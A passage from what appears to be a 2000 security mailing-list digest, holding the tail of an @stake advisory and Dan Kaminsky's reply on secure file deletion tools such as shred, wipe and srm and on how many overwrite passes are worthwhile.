Recommendation:

	Switch to another mail server as there will not be a fixed version
available.

For more advisories: http://www.atstake.com/research/index.html
PGP Key: http://www.atstake.com/research/pgp_key.asc

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.0

iQA/AwUBOeXgbFESXwDtLdMhEQK7UACg5BBYYKzDSnXb6JnuffskVKGn2pUAoI1G
9TODImPMfmu4v87sWkw2sLjd
=YZd9
-----END PGP SIGNATURE-----

------------------------------

Date:    Wed, 11 Oct 2000 16:16:31 -0700
From:    Dan Kaminsky <dan...@CI...>
Subject: Re: Shred 1.0 Bug Report

> I therefore advise discontinuation of the use of the "shred" package. I
> have no plans to bugfix or update it, since Tom Vier's "wipe" package
> accomplishes the same job, and in a more thorough fashion.

Wipe is impressive, though srm and overwrite are generally what I've been
using(srm's recursive functionality is clean and simple).

Oddly enough, I've been questioning the value of attempting to shred disk
contents past what dedicated hardware can read.  In my mind, it may be more
important to *by default* cause all files, or all files mounted on a given
"secure partition", to be overwritten with just a single pass to prevent all
software based attacks from being successful.  Dedicated hardware implies
physical access to the hard drive--if your threat scenario grants that,
there's alot more damaging things they can do to your systems and your
infrastructure.  Contrast that with the threat of root being remotely
breached, and your disks being scanned for undeletable files.  As
distasteful as such a situation may be, it's just *far* more likely than a
physical break-in.

It's reasonably arguable how many passes of what kind of data(pseudoran...

[truncated message content]

Thread: [Phpwiki-talk] Vulnerability in PHP3/4

phpwiki-talk